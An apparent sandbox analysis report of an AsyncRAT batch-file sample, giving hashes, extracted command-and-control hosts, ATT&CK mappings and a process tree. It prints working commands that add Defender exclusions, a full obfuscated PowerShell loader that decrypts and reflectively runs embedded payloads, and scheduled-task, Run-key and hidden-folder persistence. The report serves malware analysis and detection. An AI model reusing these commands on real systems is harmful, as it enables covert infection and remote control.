asyncrat | b5927f4bdf344e56ee51a6d78d3e917fa4465d747070e2960b8b90e12ef19d1f

Analysis

max time kernel
120s
max time network
118s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
21/07/2026, 18:38

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
stage1.bat
Size 156KB
Sample260721-w95fcssfmg
SHA256 b5927f4bdf344e56ee51a6d78d3e917fa4465d747070e2960b8b90e12ef19d1f
MD5 c126c9c69029d0d25af8380c5eb3b4a1
SHA1 650f2b76f4e79f23ace15391d0f1b2fc27a8a413
SHA512 3cb6af88d3d50cfbd3677527b94f585d6a7b988402d30dd5c3ec7241a8601d061381e044379dc6a3205c1e9228e0ee38ab72a8195f699d837990f7e75fbb8698
SSDEEP 1536:RwnajbZGw5ZqHFeR33ixmKlnksbVRw+QiYceHm9w/8:W4ZqHF633iMs9w+dYceHm9w/8
TLSH
T1BFF39E62738724D55BA7EA684D5F4A06FA9BCEC1167AC4D2DC49F6270B3B1038B83C71
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

null defense_evasion execution asyncrat persistence rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.6A

Botnet

null

xoso66edu.com:8080
xoso66edu.com:443
xoso66edu.com:80
xoso66edu.com:8443

Mutex

qh88clb.com

Attributes

delay
5
install
true
install_file
system.exe
install_folder
%AppData%

aes.plain

Signatures

Family: AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/1644-72-0x000001DAA5CA0000-0x000001DAA5CB2000-memory.dmp	family_asyncrat

Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
824	powershell.exe
936	powershell.exe
5056	powershell.exe
2240	powershell.exe
6040	powershell.exe
1200	powershell.exe
1644	powershell.exe

Sets file to hidden 1 TTPs 2 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3232	attrib.exe
936	attrib.exe

Executes dropped EXE 2 IoCs

pid	Process
5320	system.exe
2784	system.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 4 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
1752	cmd.exe
5624	cmd.exe
2328	cmd.exe
1948	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows_SettingsManager = "wscript.exe \"C:\\ProgramData\\acwin_manager\\windows_systemManager.vbs\""	reg.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs

execution

Visual Basic

T1059.005

pid	Process
4736	WScript.exe
996	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 4 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2028	cmd.exe
2776	cmd.exe
5124	cmd.exe
3276	cmd.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1548	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000_Classes\Local Settings	powershell.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2524	schtasks.exe
4104	schtasks.exe
1796	schtasks.exe

Suspicious behavior: EnumeratesProcesses 53 IoCs

pid	Process
936	powershell.exe
936	powershell.exe
5056	powershell.exe
5056	powershell.exe
6040	powershell.exe
6040	powershell.exe
1200	powershell.exe
1200	powershell.exe
1200	powershell.exe
2240	powershell.exe
2240	powershell.exe
2240	powershell.exe
824	powershell.exe
824	powershell.exe
824	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
1644	powershell.exe
5320	system.exe
5320	system.exe
5320	system.exe
2784	system.exe
2784	system.exe
2784	system.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	936	powershell.exe
Token: SeDebugPrivilege	5056	powershell.exe
Token: SeDebugPrivilege	6040	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeIncreaseQuotaPrivilege	1200	powershell.exe
Token: SeSecurityPrivilege	1200	powershell.exe
Token: SeTakeOwnershipPrivilege	1200	powershell.exe
Token: SeLoadDriverPrivilege	1200	powershell.exe
Token: SeSystemProfilePrivilege	1200	powershell.exe
Token: SeSystemtimePrivilege	1200	powershell.exe
Token: SeProfSingleProcessPrivilege	1200	powershell.exe
Token: SeIncBasePriorityPrivilege	1200	powershell.exe
Token: SeCreatePagefilePrivilege	1200	powershell.exe
Token: SeBackupPrivilege	1200	powershell.exe
Token: SeRestorePrivilege	1200	powershell.exe
Token: SeShutdownPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeSystemEnvironmentPrivilege	1200	powershell.exe
Token: SeRemoteShutdownPrivilege	1200	powershell.exe
Token: SeUndockPrivilege	1200	powershell.exe
Token: SeManageVolumePrivilege	1200	powershell.exe
Token: 33	1200	powershell.exe
Token: 34	1200	powershell.exe
Token: 35	1200	powershell.exe
Token: 36	1200	powershell.exe
Token: SeIncreaseQuotaPrivilege	1200	powershell.exe
Token: SeSecurityPrivilege	1200	powershell.exe
Token: SeTakeOwnershipPrivilege	1200	powershell.exe
Token: SeLoadDriverPrivilege	1200	powershell.exe
Token: SeSystemProfilePrivilege	1200	powershell.exe
Token: SeSystemtimePrivilege	1200	powershell.exe
Token: SeProfSingleProcessPrivilege	1200	powershell.exe
Token: SeIncBasePriorityPrivilege	1200	powershell.exe
Token: SeCreatePagefilePrivilege	1200	powershell.exe
Token: SeBackupPrivilege	1200	powershell.exe
Token: SeRestorePrivilege	1200	powershell.exe
Token: SeShutdownPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeSystemEnvironmentPrivilege	1200	powershell.exe
Token: SeRemoteShutdownPrivilege	1200	powershell.exe
Token: SeUndockPrivilege	1200	powershell.exe
Token: SeManageVolumePrivilege	1200	powershell.exe
Token: 33	1200	powershell.exe
Token: 34	1200	powershell.exe
Token: 35	1200	powershell.exe
Token: 36	1200	powershell.exe
Token: SeIncreaseQuotaPrivilege	1200	powershell.exe
Token: SeSecurityPrivilege	1200	powershell.exe
Token: SeTakeOwnershipPrivilege	1200	powershell.exe
Token: SeLoadDriverPrivilege	1200	powershell.exe
Token: SeSystemProfilePrivilege	1200	powershell.exe
Token: SeSystemtimePrivilege	1200	powershell.exe
Token: SeProfSingleProcessPrivilege	1200	powershell.exe
Token: SeIncBasePriorityPrivilege	1200	powershell.exe
Token: SeCreatePagefilePrivilege	1200	powershell.exe
Token: SeBackupPrivilege	1200	powershell.exe
Token: SeRestorePrivilege	1200	powershell.exe
Token: SeShutdownPrivilege	1200	powershell.exe
Token: SeDebugPrivilege	1200	powershell.exe
Token: SeSystemEnvironmentPrivilege	1200	powershell.exe
Token: SeRemoteShutdownPrivilege	1200	powershell.exe
Token: SeUndockPrivilege	1200	powershell.exe
Token: SeManageVolumePrivilege	1200	powershell.exe
Token: 33	1200	powershell.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 1752	2776	cmd.exe	90
PID 1752 wrote to memory of 936	1752	cmd.exe	91
PID 2776 wrote to memory of 5624	2776	cmd.exe	92
PID 5624 wrote to memory of 5056	5624	cmd.exe	93
PID 2776 wrote to memory of 1192	2776	cmd.exe	94
PID 2776 wrote to memory of 6040	2776	cmd.exe	95
PID 6040 wrote to memory of 1200	6040	powershell.exe	96
PID 6040 wrote to memory of 4736	6040	powershell.exe	99
PID 4736 wrote to memory of 5124	4736	WScript.exe	100
PID 5124 wrote to memory of 2328	5124	cmd.exe	102
PID 2328 wrote to memory of 2240	2328	cmd.exe	103
PID 5124 wrote to memory of 1948	5124	cmd.exe	104
PID 1948 wrote to memory of 824	1948	cmd.exe	105
PID 2776 wrote to memory of 4104	2776	cmd.exe	106
PID 2776 wrote to memory of 3472	2776	cmd.exe	107
PID 2776 wrote to memory of 3232	2776	cmd.exe	108
PID 5124 wrote to memory of 1572	5124	cmd.exe	109
PID 5124 wrote to memory of 1644	5124	cmd.exe	110
PID 996 wrote to memory of 3276	996	WScript.exe	114
PID 1644 wrote to memory of 1796	1644	powershell.exe	117
PID 1644 wrote to memory of 2028	1644	powershell.exe	119
PID 2028 wrote to memory of 1548	2028	cmd.exe	121
PID 2028 wrote to memory of 2784	2028	cmd.exe	124
PID 5124 wrote to memory of 2524	5124	cmd.exe	126
PID 5124 wrote to memory of 1564	5124	cmd.exe	127
PID 5124 wrote to memory of 936	5124	cmd.exe	128

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
3232	attrib.exe
936	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\stage1.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:1752
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:936
- C:\Windows\system32\cmd.exe
  cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Suspicious use of WriteProcessMemory
  PID:5624
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5056
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+uz9ZZmbDEIXXQ0IuDnGxAO6nGIYawK/jhZTq9QvJSc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ml+ccLRx1aS1LvIDw/8nvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWPfqumcfbmKYMIaxsqlfRiTT=New-Object System.IO.MemoryStream(,$param_var); $yJlsmxxLcdkKldAsJdeGYlXzl=New-Object System.IO.MemoryStream; $hTsMJdNWmRLaKSEPZVIyqlpPT=New-Object System.IO.Compression.GZipStream($VWPfqumcfbmKYMIaxsqlfRiTT, [IO.Compression.CompressionMode]::Decompress); $hTsMJdNWmRLaKSEPZVIyqlpPT.CopyTo($yJlsmxxLcdkKldAsJdeGYlXzl); $hTsMJdNWmRLaKSEPZVIyqlpPT.Dispose(); $VWPfqumcfbmKYMIaxsqlfRiTT.Dispose(); $yJlsmxxLcdkKldAsJdeGYlXzl.Dispose(); $yJlsmxxLcdkKldAsJdeGYlXzl.ToArray();}function execute_function($param_var,$param2_var){ $wOdmUmLLhfDeYsZwOZlPrYkzR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqobUWECTnpJJrEZoDNaKaCJb=$wOdmUmLLhfDeYsZwOZlPrYkzR.EntryPoint; $ZqobUWECTnpJJrEZoDNaKaCJb.Invoke($null, $param2_var);}$hppjHSqZepibPMRbqCnHBWWjs = 'C:\Users\Admin\AppData\Local\Temp\stage1.bat';$host.UI.RawUI.WindowTitle = $hppjHSqZepibPMRbqCnHBWWjs;$uPqEgDOeUZkgfZFINrqlHbwzU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hppjHSqZepibPMRbqCnHBWWjs).Split([Environment]::NewLine);foreach ($NFGXLttQKPAOLlPRaoNCIttDS in $uPqEgDOeUZkgfZFINrqlHbwzU) { if ($NFGXLttQKPAOLlPRaoNCIttDS.StartsWith('AKMhIZFBGHhQVbrVbXZL')) { $rcZsIksgRmcauXMtXUNHVkCIY=$NFGXLttQKPAOLlPRaoNCIttDS.Substring(20); break; }}$payloads_var=[string[]]$rcZsIksgRmcauXMtXUNHVkCIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6040
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_497_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_497.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1200
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_497.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    - Suspicious use of WriteProcessMemory
    PID:4736
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_497.bat" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:5124
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:2328
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'ul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2240
    - - C:\Windows\system32\cmd.exe
        
        cmd /c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        5⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Suspicious use of WriteProcessMemory
        
        PID:1948
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath 'C:\\nul 2>&1
        6⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:824
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('+uz9ZZmbDEIXXQ0IuDnGxAO6nGIYawK/jhZTq9QvJSc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ml+ccLRx1aS1LvIDw/8nvA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $VWPfqumcfbmKYMIaxsqlfRiTT=New-Object System.IO.MemoryStream(,$param_var); $yJlsmxxLcdkKldAsJdeGYlXzl=New-Object System.IO.MemoryStream; $hTsMJdNWmRLaKSEPZVIyqlpPT=New-Object System.IO.Compression.GZipStream($VWPfqumcfbmKYMIaxsqlfRiTT, [IO.Compression.CompressionMode]::Decompress); $hTsMJdNWmRLaKSEPZVIyqlpPT.CopyTo($yJlsmxxLcdkKldAsJdeGYlXzl); $hTsMJdNWmRLaKSEPZVIyqlpPT.Dispose(); $VWPfqumcfbmKYMIaxsqlfRiTT.Dispose(); $yJlsmxxLcdkKldAsJdeGYlXzl.Dispose(); $yJlsmxxLcdkKldAsJdeGYlXzl.ToArray();}function execute_function($param_var,$param2_var){ $wOdmUmLLhfDeYsZwOZlPrYkzR=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $ZqobUWECTnpJJrEZoDNaKaCJb=$wOdmUmLLhfDeYsZwOZlPrYkzR.EntryPoint; $ZqobUWECTnpJJrEZoDNaKaCJb.Invoke($null, $param2_var);}$hppjHSqZepibPMRbqCnHBWWjs = 'C:\Users\Admin\AppData\Roaming\Windows_Log_497.bat';$host.UI.RawUI.WindowTitle = $hppjHSqZepibPMRbqCnHBWWjs;$uPqEgDOeUZkgfZFINrqlHbwzU=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($hppjHSqZepibPMRbqCnHBWWjs).Split([Environment]::NewLine);foreach ($NFGXLttQKPAOLlPRaoNCIttDS in $uPqEgDOeUZkgfZFINrqlHbwzU) { if ($NFGXLttQKPAOLlPRaoNCIttDS.StartsWith('AKMhIZFBGHhQVbrVbXZL')) { $rcZsIksgRmcauXMtXUNHVkCIY=$NFGXLttQKPAOLlPRaoNCIttDS.Substring(20); break; }}$payloads_var=[string[]]$rcZsIksgRmcauXMtXUNHVkCIY.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:1572
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1644
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /f /sc ONLOGON /RL HIGHEST /tn "'system"' /tr "'C:\Users\Admin\AppData\Roaming\system.exe"'
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1796
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmp1F12.tmp.bat""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2028
        
        C:\Windows\system32\timeout.exe
        
        timeout 3
        7⤵
        Delays execution with timeout.exe
        
        PID:1548
        
        C:\Users\Admin\AppData\Roaming\system.exe
        
        "C:\Users\Admin\AppData\Roaming\system.exe"
        7⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2784
    - - C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
        5⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2524
    - - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
        5⤵
        Adds Run key to start application
        
        PID:1564
    - - C:\Windows\system32\attrib.exe
        
        attrib +s +h C:\ProgramData\acwin_manager
        5⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:936
- C:\Windows\system32\schtasks.exe
  schtasks /create /tn "Windows_SettingsManager" /tr "\"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /sc onlogon /rl highest /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4104
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows_SettingsManager" /t REG_SZ /d "wscript.exe \"C:\ProgramData\acwin_manager\windows_systemManager.vbs\"" /f
  2⤵
  - Adds Run key to start application
  PID:3472
- C:\Windows\system32\attrib.exe
  attrib +s +h C:\ProgramData\acwin_manager
  2⤵
  - Sets file to hidden
  - Views/modifies file attributes
  PID:3232

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\ProgramData\acwin_manager\windows_systemManager.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "C:\ProgramData\acwin_manager\ProcessManager.bat"
  2⤵
  - Executes a command shell one-liner
  PID:3276

C:\Users\Admin\AppData\Roaming\system.exe
"C:\Users\Admin\AppData\Roaming\system.exe"
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:5320

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

windows_systemManager.vbs

Path C:\ProgramData\acwin_manager\windows_systemManager.vbs
Size 133B
SHA256 14c22c0034b1124b05e433dc8c3e910639d9d0f4a83ac60c756b96eee3c23e2a
MD5 a2357033b0d440a11a314e287629b547
SHA1 b588ec60f3a43bfd4c4fac5aca003f7f576cf6db
SHA512 b09abf3aa420784c587259502869f6fcdef7238ff5295b30b9a26abb66651b959468159ef5a93d51ae394957d7ecd06589af9685047014db2076733d026db85e
TLSH
T142C09B11562EA559285FF0D5273044158ED1EF1925B15937875CC92F962B6D11317006
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 7849fae9ed77ffd854592a0a1827b15a7f3a5c0bf190e2ab908a41b6d5441b42
MD5 6eca45b8454357bd707aa7075547a1f7
SHA1 f24bfb42ac6183ca990a7e52d0e4296fd1ece0f5
SHA512 f269c74b5d4a26b63bc044dc0cc109dd1421fa76047e0290373d61d96fbeaeca4d29cb523adeb6be5051d86963a34eed8a237b93231c18ccee78868cae9a7cbc
SSDEEP 1536:zKLg0mYo2hOovpfKQVCYXflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoi3jiRjdvRwG:zKLg0mYo2hOovpfKQVCYXflJd9YWqiU8
TLSH
T182636292E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 ee4d4e5c3861832b7b93b2b1b5e716aaae18653b4d62cd87fd8e842f25f9e15b
MD5 b0f0e31a1957295234b84dc8e5acf134
SHA1 dcc400dae26ee7b8addd0eb733b04fb09544f965
SHA512 fbdc417ff297888ab28383c23f0d7465f65811690436a51fb3be791fcd17a81d3be964f0c8801498cee7514c167b556e1b559df5e96d5d1d9d901358c83dac5a
TLSH
T17C319E33B3CC8993D889413550CDAC1335B786D744AECECFEB8CD6A4A43F595CAA4164
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-Interactive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
Size 1KB
SHA256 70b584683802b4107779aec81640c94d85da05248f992505ba2c5600a089e978
MD5 45c6c1de56aeafb5ff4c23b951c569fc
SHA1 a3786273883a84ead4fe12bb49ec3b90446d8cb0
SHA512 780d11be6c8b4b79eb41b806328c49761cb6629dd531314d69b82abbb99865e2c6e59ea0681c26c835d63c9b91b48e83f2426c3c4dc0d642e4ea36cee3edf774
TLSH
T1D4318E73B3DC8613D9894036508DAC2336B687CF45AECECFEB9CD664A13F595CA64160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6658f552d870a61555896012fef7c7e8c59ef97a6bf456ac7e8c3a52fb78a6c8
MD5 e85f73910a690d7a3dc3c510b4fb1aba
SHA1 43d87d9c07c07d1d45e3e34f384f07187f793b04
SHA512 7a3c7f44c14b6e091c2803143fbc9802fdddd72e19d8dcbffe5223c6bb8b6301a397e2e22bda4e9b65bbfd3a8b39a4b4a1e21374fa6529137eaddb73efcac9bb
TLSH
T1B1218933B3CC8614CC9A413A10CEAC1136B6C7DB809ECEAB7B84D544A43F299CE602A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 d1acd58f6d22b96cbc9e8c2460abf3d16899285f67358c7604156a83ef88c769
MD5 76b60ad8136e0b37b25dccf52c31bd02
SHA1 da8578cf9d2b65f7055be270f5af2de90aa06c86
SHA512 48fa119b41e1b97c71c35853848f801d6a35c9ce49bdd58d53ddbb22c6d461865e412df0adcabb341650faff0c9f06241b18ed6bc13825ed52e66bd20d701a0a
TLSH
T17D116633F3CC8624DC5A403610CEAC1136B68BCB40DECE6B7B80D154B46F685CF611A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
